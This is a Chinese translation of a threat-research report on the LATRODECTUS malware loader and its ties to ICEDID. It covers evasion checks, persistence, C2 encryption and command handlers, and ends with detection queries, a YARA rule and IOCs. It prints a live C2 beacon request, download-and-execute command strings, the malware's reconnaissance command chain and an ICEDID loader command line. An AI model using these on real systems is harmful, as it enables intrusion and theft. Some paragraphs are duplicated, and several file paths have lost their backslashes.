原文首发于先知社区
https://xz.aliyun.com/t/14574
LATRODECTUS 介绍
2023年10月,沃尔玛研究人员首次发现了LATRODECTUS,这是一种恶意软件加载器,在网络犯罪分子中越来越受欢迎。尽管被认为是一个新的家族,但由于行为和发展上的相似之处,包括一个下载和执行加密负载的命令处理程序,LATRODECTUS与ICEDID之间存在着紧密联系。Proofpoint 和 Team Cymru 基于这一点,发现了 ICEDID 和 LATRODECTUS 的运营者在网络基础设施之间存在着密切的联系。
LATRODECTUS提供了广泛的标准功能,威胁行为者可以利用这些功能部署进一步的有效负载,在初步攻破后进行各种活动。其代码库没有被混淆,只有11个命令处理程序,主要集中在枚举和执行方面。这种类型的加载程序代表了我们团队最近观察到的一波趋势,如PIKABOT,其代码更加轻量和直接,具有有限数量的处理程序。
这篇文章将重点关注LATRODECTUS本身,分析其最显著的特征,并提供应对这一具有财务冲击的威胁资源。
关键要点
-
LATRODECTUS是沃尔玛研究人员去年最初发现的,目前在最近的以财务为动机的活动中继续获得认可 -
LATRODECTUS,一个可能取代 ICEDID 的替代品,与 ICEDID 相似,包括一个命令处理程序来执行 ICEDID 的有效负载 -
自从其创立以来,我们观察到了新的事件处理程序(进程发现、桌面文件列表),并集成了一种自删除技术来删除运行文件 -
Elastic Security 通过内存签名、行为规则和威胁狩猎提供超高能力,以应对像 LATRODECTUS 这样的威胁(Elastic Security团队的私货,可以理解)
LATRODECTUS 活动概述
从2024年3月初开始,Elastic Security实验室观察到通过电子邮件传播LATRODECTUS的活动有所增加。这些活动通常涉及一个可识别的感染链,其中包含超大的JavaScript文件,利用WMI的功能调用msiexec.exe并安装远程托管在WEBDAV共享上的MSI文件。
图1:攻击链 |
在过去一年中,加载器领域发生了重大变化,例如 QBOT 被摧毁和 ICEDID 消失,我们看到新的加载器,如 PIKABOT 和 LATRODECTUS 已经出现,可能成为替代品。
LATRODECTUS 分析
我们的 LATRODECTUS 样本最初打包了伪装成 Bitdefender 内核模式驱动程序(TRUFOS.SYS)组件的文件信息,如下图所示。
图2:打包的 LATRODECTUS 样本文件版本信息 |
为了继续进行恶意软件分析,样本必须通过手动解包或通过自动解包服务,如 UnpacMe进行解包。
图3:UnpacMe 摘要 |
LATRODECTUS 是一个具有 4 个不同导出函数的 DLL,每个导出函数都被分配相同的导出地址。
图4:LATRODECTUS 的出口 |
字符串混淆
LATRODECTUS 中的所有字符串都受到保护,使用简单算法对加密字节进行处理,并通过执行算术和位操作进行转换。2023 年发表的初始报告详细介绍了一个在我们的样本中未观察到的 PRNG 算法,表明这个加载器的持续发展。以下是在 Python 中使用我们的 nightMARE 框架实现的算法:
def decrypt_string(encrypted_bytes: bytes) -> bytes:
x = cast.u32(encrypted_bytes[:4])
y = cast.u16(encrypted_bytes[4:6])
byte_size = cast.u16(cast.p32(x ^ y)[:2])
decoded_bytes = bytearray(byte_size)
for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
decoded_bytes[i] = ((x + i + 1) ^ b) % 256
return bytes(decoded_bytes)
运行时 API
LATRODECTUS 在运行时模糊了大部分的导入。程序开始时,它查询 PEB 并结合使用 CRC32 校验和来解析 kernel32.dll 和 ntdll.dll 模块及其函数。为了解析额外的库,如 user32.dll 或 wininet.dll ,恶意软件采取了不同的方法,执行通配符搜索( *.dll )在 Windows 系统目录中。它检索每个 DLL 文件名并将它们直接传递给 CRC32 校验和函数。 LATRODECTUS在运行时模糊了大部分的导入。程序开始时,它通过查询PEB并结合使用CRC32校验和来解析kernel32.dll和ntdll.dll模块及其函数。为了解析额外的库文件,如user32.dll或wininet.dll,恶意软件采用不同的方法,在Windows系统目录中执行通配符搜索(*.dll)。它检索每个DLL文件名,并直接传递给一个CRC32校验和函数。 LATRODECTUS在运行时之前对大部分的导入进行了混淆。在程序启动时,它查询PEB(进程环境块),结合使用CRC32校验和来解析kernel32.dll
和ntdll.dll
模块及其功能。为了解析其他库,例如user32.dll
或wininet.dll
,该恶意软件采用了不同的方法,在Windows系统目录中执行通配符搜索(*.dll)
。它检索每个DLL文件名并直接将它们传递给CRC32校验和函数。 (译注:这种动态解析和混淆技术使LATRODECTUS更加隐蔽,难以被检测和分析,有效地提高了其对抗安全防护措施的能力。)
图5:使用 CRC32 校验和进行 DLL 搜索 |
分析对抗
当所有的导入都被解析后,LATRODECTUS会执行一系列的反分析检查。首先,通过检查进程环境块(PEB)中的BeingDebugged标志来监控是否存在调试器。如果发现调试器,程序将终止
通过 PEB 检查是否正在调试 |
为了避免检测到活跃进程数量较少的沙箱或虚拟机,LATRODECTUS使用了两个验证检查,将运行的进程数量与操作系统产品版本结合起来进行验证。
图6:进程数量和操作系统验证检查 |
为了考虑不同Windows操作系统版本之间的主要差异,开发人员使用了一个基于Windows主版本/次版本号和内部版本号的自定义枚举类型。
图7:与内部版本号、操作系统版本相关的枚举 |
这两个先前的条件翻译为:
-
如果进程数量少于 75 且操作系统版本是最新版本,如 Windows 10、Windows Server 2016 或 Windows 11,则 LATRODECTUS 将退出 -
如果进程数量少于 50 且操作系统版本为较旧版本(如 Windows Server 2003 R2、Windows XP、Windows 2000、Windows 7、Windows 8 或 Windows Server 2012/R2),LATRODECTUS 将退出
经过沙箱检查后,LATRODECTUS 验证当前进程是否在 WOW64 下运行,WOW64 是 Windows 操作系统的一个子系统,允许 32 位应用程序在 64 位系统上运行。如果是真的(在 64 位操作系统上作为 32 位应用程序运行),恶意软件将退出。
图8:IsWow64Process 检查 |
最后一次检查是基于通过 iphlpapi.dll
的 GetAdaptersInfo()
调用验证 MAC 地址。如果没有有效的 MAC 地址,恶意软件也将终止。
图9:MAC 地址检查 |
互斥锁
该恶意软件使用字符串 runnung 作为互斥体,以防止在主机上重新感染,这可能是开发人员的意外打字错误。
图10:互斥锁 |
硬件 ID
互斥体创建后,LATRODECTUS 将生成一个硬件 ID,该 ID 是由机器的卷序列号与一个硬编码常数(0x19660D
)相乘得到的。
图11:硬件 id 计算 |
活动 ID
在这个阶段,我们从样本中解密的活动名称( Littlehw
)被用作种子传递到 Fowler-Noll-Vo 哈希函数中。这将产生一个哈希值,用于演员跟踪不同的活动和相关的受害者机器。
图12:使用 FNV 计算活动 ID |
设置/持久化
恶意软件将使用配置参数生成文件夹路径,这些参数确定了 LATRODECTUS 将被放置在磁盘上的位置,例如以下目录:
-
AppData -
Desktop -
Startup -
Personal -
LocalAppData 我们的样本配置为使用硬编码目录字符串 AppData
的Custom_update
位置,以及与从卷序列号种子化的数字连接的硬编码文件名Update_
。 以下是我们虚拟机中的完整文件路径:
C:UsersREMAppDataRoamingCustom_updateUpdate_88d58563.dll
恶意软件将检查是否存在文件 AppDataRoamingCustom_updateupdate_data.dat
以供读取,如果文件不存在,它将在写入自身副本之前创建目录。
图 13:LATRODECTUS 写在 AppData 中 |
文件复制完成后,LATRODECTUS 从全局配置中检索两个 C2 域,使用先前描述的字符串解密函数。
图 14:解密 C2 服务器 |
在主线程执行命令分派之前,LATRODECTUS 使用 Windows 组件对象模型(COM)设置了一个持久性的定时任务。
图 15:通过 COM 创建定时任务 |
在我们的示例中,任务名称被硬编码为 Updater
,并计划在成功登录后执行。
图 16:计划任务属性 |
自删除
自删除是 LATRODECTUS 采用的一个值得注意的技术之一。它是由 Jonas Lykkegaard 发现并由 Lloyd Davies 在 delete-self-poc repo 中实现的。该技术允许 LATRODECTUS 在进程仍在运行时使用备用数据流删除自身。
Elastic Security实验室已经看到这种技术被用于 ROOK 勒索软件家族等恶意软件中。可能的目标是通过干扰收集和分析来阻碍事件响应过程。编译的恶意软件包含存储库中的一个字符串(:wtfbbq
)。
图 17:LATRODECTUS 中的自删除代码 |
这种技术在感染开始时以及恶意软件使用事件处理程序#15 执行更新时被观察到。Elastic Security Labs 已创建了一个CAPA 规则,以帮助其他组织在分析各种恶意软件时通用地识别这种行为。
通讯
LATRODECTUS 使用 base64 和 RC4 加密其请求,使用硬编码密码 12345
。第一个包含受害者信息和配置细节的 HTTPS POST 请求,注册受感染的系统。
POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache
M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O
图 18:初始注册请求 |
以下是第一个请求中发送的解密内容示例:
counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&mac=00:0c:24:0e:29:85;&computername=DESKTOP-3C4ILHO&domain=-
Name | Description |
---|---|
counter | 每次回调时,C2 请求的数量增加一 |
type | 请求类型(注册,等等) |
guid | 由卷序列号生成的硬件 ID 种子 |
os | Windows 操作系统产品版本 |
arch | Windows 架构版本 |
username | 感染机器的用户名 |
group | 由唯一字符串在二进制中种子化的活动标识符与 FNV |
version | LATRODECTUS 版本 |
up | Unknown |
direction | C2 域 |
mac | MAC 地址 |
computername | 受感染机器的主机名 |
domain | 感染机器的域 |
每个请求由对象类型、整数值和相应参数以管道分隔。有 4 种对象类型,可以路由攻击者控制的命令(CLEARURL、URLS、COMMAND、ERROR)。
图 19:命令调度逻辑 |
主要事件处理程序通过 COMMAND 对象类型传递,其中包括处理程序 ID 和它们各自的参数。
COMMAND|12|http://www.xxxxxx.com/test (译注:有改动,原网站有问题)
CLEARURL 对象类型用于删除任何配置的域。URLS 对象类型允许攻击者切换到新的 C2 URL。最后一个对象类型 ERROR 目前未配置。
图 20:通过 CyberChef 的命令请求示例 |
bot功能
LATRODECTUS 的核心功能是通过其命令处理程序驱动的。这些处理程序用于从受害机器收集信息,提供执行能力以及配置植入物。自最初发布以来,我们已经看到添加了两个附加处理程序(检索进程、桌面列表),这可能表明代码库仍然活跃并在变化。
命令 ID | 描述 |
---|---|
2 | 从桌面目录检索文件列表 |
3 | 检索进程祖先 |
4 | 收集系统信息 |
12 | 下载并执行 PE |
13 | 下载并执行 DLL |
14 | 下载并执行 shellcode |
15 | 执行更新,重新启动 |
17 | 终止自身进程和线程 |
18 | 下载并执行 ICEDID 负载 |
19 | 增加信标超时时间 |
20 | 重置请求计数器 |
桌面列表 – 命令 ID(2)
此命令处理程序将检索用户桌面内容列表,开发人员称之为 desklinks
。这些数据将被加密并附加到出站信标请求中。这用于快速枚举和验证受害者环境。
图 21:桌面列表(处理程序#2) |
示例请求:
counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&desklinks=["OneDrive.lnk","OneNote.lnk","PowerPoint.lnk","Notepad++.lnk","Excel.lnk","Google Chrome.lnk","Snipping Tool.lnk","Notepad.lnk","Paint.lnk"]
处理祖先 – 命令 ID(3)
此事件处理程序由开发人员引用为 proclist,它通过 CreateToolhelp32Snapshot
API 从受感染的计算机收集整个运行进程的祖先。
图 22:检索进程祖先(处理程序#3) |
像安全研究人员一样,恶意软件作者对进程的父子关系也感兴趣,以便做出决策。LATRODECTUS 的作者甚至收集有关进程的孙子信息,可能是为了验证不同的受损环境。
图 23:LATRODECTUS收集进程祖先的示例 |
收集系统信息 – 命令 ID(4)
此命令处理程序创建一个新线程,运行以下系统发现/枚举命令,每个命令都是一个潜在的检测机会:
C:WindowsSystem32cmd.exe /c ipconfig /all
C:WindowsSystem32cmd.exe /c systeminfo
C:WindowsSystem32cmd.exe /c nltest /domain_trusts
C:WindowsSystem32cmd.exe /c nltest /domain_trusts /all_trusts
C:WindowsSystem32cmd.exe /c net view /all /domain
C:WindowsSystem32cmd.exe /c net view /all
C:WindowsSystem32cmd.exe /c net group "Domain Admins" /domain
C:WindowsSystem32wbemwmic.exe /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:WindowsSystem32cmd.exe /c net config workstation
C:WindowsSystem32cmd.exe /c wmic.exe /node:localhost /namespace:\rootSecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:WindowsSystem32cmd.exe /c whoami /groups
每个输出都与相应的收集数据放置在 URI 中:
&ipconfig=
&systeminfo=
&domain_trusts=
&domain_trusts_all=
&net_view_all_domain=
&net_view_all=
&net_group=
&wmic=
&net_config_ws=
&net_wmic_av=
&whoami_group=
下载并执行 PE – 命令 ID(12)
此处理程序从 C2 服务器下载一个 PE 文件,然后将内容写入磁盘,并使用随机生成的文件名执行该文件。
图24:下载并运行 PE 功能(处理程序#4) |
以下是在我们的环境中使用此处理程序的示例:
图 25:下载和运行 PE 功能的进程树 |
下载并执行 DLL – 命令 ID(13)
此命令处理程序从 C2 服务器下载一个 DLL 文件,将其写入磁盘并使用随机生成的文件名执行该 DLL 文件,然后使用 rundll32.exe 运行。
图 26:下载并运行 DLL 函数(处理程序#13) |
下载并执行 shellcode – 命令(14)
此命令处理程序通过 InternetReadFile
从 C2 服务器下载 shellcode,然后将 shellcode 分配并复制到内存中,然后使用指向 shellcode 的新线程直接调用它。
图 27:Shellcode 执行(处理程序#14) |
更新/重新启动 – 命令 ID(15)
这个处理程序似乎对恶意软件执行二进制更新,下载到的地方,通知现有的线程/互斥体,然后释放。随后删除文件,并在终止现有进程之前下载/执行新的二进制文件。
图 28:更新处理程序(处理程序#15) |
终止 – 命令 ID(17)
此处理程序将终止现有的 LATRODECTUS 进程。
图 29:自我终止(处理程序#17) |
下载并执行托管的 ICEID 负载 – 命令 ID(18)
此命令处理程序从 LATRODECTUS 服务器下载两个 ICEDID 组件,并使用生成的 rundll32.exe
进程执行它们。然而,我们个人尚未观察到这种情况在野外被使用。
处理程序创建一个包含两个文件的文件夹到 AppDataRoaming
目录中。这些文件路径和文件名是由一个自定义随机数生成器生成的,我们将在下一节中进行审查。在我们的情况下,这个新文件夹的位置是:
C:UsersREMAppDataRoaming-632116337
它从 C2 服务器检索一个文件( test.dll
),标准的 ICEDID 加载程序,该加载程序以随机生成的文件名( -456638727.dll
)写入磁盘。
图 30:LATRODECTUS 下载 ICEDID 加载程序 |
LATRODECTUS 然后会执行类似的步骤,为 ICEDID 负载生成一个随机文件名( 1431684209.dat
)。在执行下载之前,它将设置参数以正确加载 ICEDID。如果您以前遇到过 ICEDID,那么命令行的这一部分应该很熟悉:它用于调用加载器的 ICEDID 导出,同时传递到加密的 ICEDID 负载文件的相对路径。
init -zzzz="-6321163371431684209.dat"
图31:LATRODECTUS 下载 ICEDID 数据 |
LATRODECUS 使用硬编码的 URI( /files/bp.dat
)从配置的 C2 服务器发起第二个下载请求,将其写入文件( 1431684209.dat
)。研究人员分析bp.dat
文件,确认其为常见的加密 ICEDID 有效载荷,通常被称为 license.dat
。
图 32:加密的 ICEDID 负载(bp.dat) |
解密文件后,恶意软件研究人员注意到一个熟悉的 129 字节垃圾字节序列被添加到文件前面,然后是自定义的节头。
图 33:解密后的 ICEDID 有效载荷(bp.dat) |
我们的团队能够重新审视先前的工具,并成功解密这个文件,使我们能够重建 PE(ICEDID)。
图 34:ICEDID YARA 在从 bp.dat 重建的 PE 上触发 |
此时,ICEDID 加载器和加密的有效负载已下载到同一文件夹中。
图 35:ICEDID 加载器和加密的有效负载 |
这些文件然后使用 rundll32.exe
一起执行,通过 CreateProcessW 和它们各自的参数。下面是观察到的命令行:
rundll32.exe C:UsersREMAppDataRoaming-632116337-456638727.dll,init -zzzz="-6321163371431684209.dat"
图 36:Rundll32.exe 执行 |
使用我们的 ICEDID YARA 规则扫描由 LATRODECTUS 生成的 rundll32.exe
子进程,也表明存在 ICEDID。
图 37:YARA 内存扫描检测 ICEDID |
信标超时 – 命令 ID(19)
LATRODECTUS 支持抖动以进行向 C2 的信标传输。这可以使防御者更难通过网络来源检测到,因为这会引入信标间隔的随机性。
图 38:调整超时功能(处理程序#19) |
为了计算超时时间,它通过在屏幕上用户光标位置乘以系统正常运行时间( GetTickCount
)生成一个随机数。然后将该结果作为参数传递给 RtlRandomEx。
图 39:使用光标位置的随机数生成器 |
重置计数器 – 命令 ID(20)
此命令处理程序将重置传递给每个通信请求的请求计数器。例如,在第三次回调中,它在这里填充为 3。通过此功能,开发人员可以从 0 开始重置计数。
counter=3&type=4&guid=638507385
LATRODECTUS / ICEDID 连接
ICEDID 和 LATRODECTUS 之间肯定存在某种发展联系或工作安排。以下是观察到的一些相似之处:
-
系统发现处理程序中的相同枚举命令 -
DLL 导出的所有指针都指向相同的导出函数地址,这是 ICEDID 有效载荷的常见手段 -
C2 数据被连接在一起作为 C2 流量请求中的变量 -
从处理程序(#18)下载的 bp.dat
文件用于通过rundll32.exe
执行 ICEDID 有效载荷 -
功能似乎是以类似的编码方式编写的
图 40:基于 COM 的定时任务设置 – ICEDID 对比 LATRODECTUS |
研究人员并未得出结论,认为 ICEDID 和 LATRODECTUS 家族之间存在明确的关系,尽管它们至少在表面上是有关联的。ICEDID 具有更成熟的能力,比如用于数据窃取或 BackConnect 模块的能力,并且在几年的时间里有着丰富的文献记录。一个正在考虑的假设是 LATRODECTUS 正在积极开发,作为 ICEDID 的替代品,并且处理程序(#18)被包含在内,直到恶意软件作者对 LATRODECTUS 的能力感到满意。
沙盒化 LATRODECTUS
为了评估 LATRODECTUS 的检测,我们搭建了一个 Flask 服务器,并配置了不同的处理程序,指示受感染的机器在沙盒环境中执行各种操作。这种方法为防御者提供了一个很好的机会,以评估他们的检测和日志工具对每种能力的有效性。可以根据需要交换不同的有效载荷,如 shellcode/二进制文件。
图 41:命令处理程序被沙盒化 |
作为一个例子,对于下载和执行 DLL(处理程序#13),我们可以向命令调度程序提供以下请求结构(对象类型、处理程序、处理程序参数)
COMMAND|13|http://www.xxx.com/dll, ShowMessage 译注:有修改,原始链接见原文
以下示例描述了之前描述的 RC4 加密字符串,该字符串已经进行了 base64 编码。
E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=
使用以下 CyberChef 工具,分析人员可以生成加密的命令请求:
图 42:通过 CyberChef 进行 DLL 执行处理程序的示例 |
使用实际恶意软件代码库,并使用低风险框架执行这些不同的处理程序,防御者可以窥视其安全设备记录的事件、警报和日志。
检测 LATRODECTUS
以下是在 LATRODECTUS 恶意软件感染过程中触发的 Elastic Defend 保护功能:
图 43:Elastic Defend对于LATRODECTUS的告警 |
以下是预先构建的与 MITRE ATT&CK 对齐的规则及其描述:
ATT&CK 技术 | Elastic 规则 | 描述 |
---|---|---|
T1059.007 – Javascript T1027 – 混淆文件或信息 | 可疑的超大型脚本执行 | LATRODECTUS 通过超大的 JavaScript 文件传递,平均超过 800KB,其中充满了随机文本。 |
T1047 – Windows 管理工具 | 可疑 WMI 客户端的执行 | Javascript 滴管器调用 WMI 挂载 WEBDAV 共享,并调用 msiexec 安装远程 msi 文件。 |
T1218.007 – Misexec | 通过 MSIEXEC 可疑的 MsiExec 子进程远程文件执行 | 托管在远程 Webdav 上的 MSI 文件以静默模式执行。一旦执行,它会释放一个 DLL 并启动 rundll32 通过 Advanced Installer viewer.exe 二进制文件加载它。 |
T1218.011 – Rundll32 | Rundll32 或 Regsvr32 从未备份的内存加载了一个 DLL | Rundll32 从 AppData 加载 LATRODECTUS DLL 并开始代码注入。 |
T1055 – 进程注入 | 内存威胁检测警报:来自未签名的 DLL 的 Shellcode 注入 VirtualProtect API 调用来自声誉低的模块的 Shellcode 执行从可疑的未备份内存加载的网络模块 | Shellcode 执行触发了 3 个端点行为警报和一个内存威胁检测警报。 |
T1053.005 – 计划任务 | 通过一种不寻常的过程创建的计划任务 | LATRODECTUS 可能会使用计划任务持续存在(rundll32 将创建一个计划任务)。 |
T1070.004 – 文件删除 | 运行中可执行文件的潜在自删除 | 恶意软件 DLL 的一部分自更新命令,当 DLL 未从 AppData 运行时,LATRODECTUS 将在运行时删除自身,并从新路径重新启动,或者运行一个利用此技术的更新版本。 |
T1059.003 – Windows 命令行 | 通过 RunDLL32 启动的命令行活动已开始 | LATRODECTUS 命令 ID(4)- 通过一系列 cmd.exe 执行收集系统信息。 |
以下猎杀和检测查询列表可用于检测以执行为重点的 LATRODECTUS 后渗透命令:
Rundll32 下载 PE/DLL(命令处理程序#12、#13 和#18):
sequence by process.entity_id with maxspan=1s
[file where event.action == "creation" and process.name : "rundll32.exe" and
/* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : "4d5a*" and file.path : "?:\Users\*\AppData\Local\Microsoft\Windows\INetCache\IE\*"]
[network where process.name : "rundll32.exe" and
event.action : ("disconnect_received", "connection_attempted") and
/* network disconnect activity to a public Ip address */
not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8", "192.168.0.0/16")]
图 44:使用hunt 检测LATRODECTUS的EQL查询 |
以下是一个 ES|QL 搜索,用于查找 rundll32 到公共 IP 地址(这是不常见的)的长期和/或高数量的网络连接:
from logs-endpoint.events.network-*
| where host.os.family == "windows" and event.category == "network" and
network.direction == "egress" and process.name == "rundll32.exe" and
/* excluding private IP ranges */
not CIDR_MATCH(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1","FE80::/10", "FF00::/8")
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections >= 100
图 45:使用hunt检测 LATRODECTUS 的 ES QL查询 |
以下是 Elastic Defend 在 LATRODECTUS 内存签名上触发的屏幕截图:
图 46:通过 Elastic Defend 检测LATRODECTUS 的内存签名 |
YARA
Elastic Security已创建了用于识别 LATRODECTUS 的 YARA 规则
rule Windows_Trojan_LATRODECTUS_841ff697 {
meta:
author = "Elastic Security"
creation_date = "2024-03-13"
last_modified = "2024-04-05"
license = "Elastic License v2"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.LATRODECTUS"
reference_sample = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"
strings:
$Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
$crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
$delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
$Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
$handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
$hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
$string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
$campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
condition:
2 of them
}
IOC
Observable | Type | Name | Reference |
---|---|---|---|
aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c | SHA-256 | TRUFOS.DLL | LATRODECTUS |
aytobusesre.com | domain | LATRODECTUS C2 | |
scifimond.com | domain | LATRODECTUS C2 | |
gyxplonto.com | domain | ICEDID C2 | |
neaachar.com | domain | ICEDID C2 |
参考资料
以上研究中参考了以下内容:
https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice 先知上之前已翻译
工具
字符串解密和 IDA 注释工具
原文始发于微信公众号(独眼情报):威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案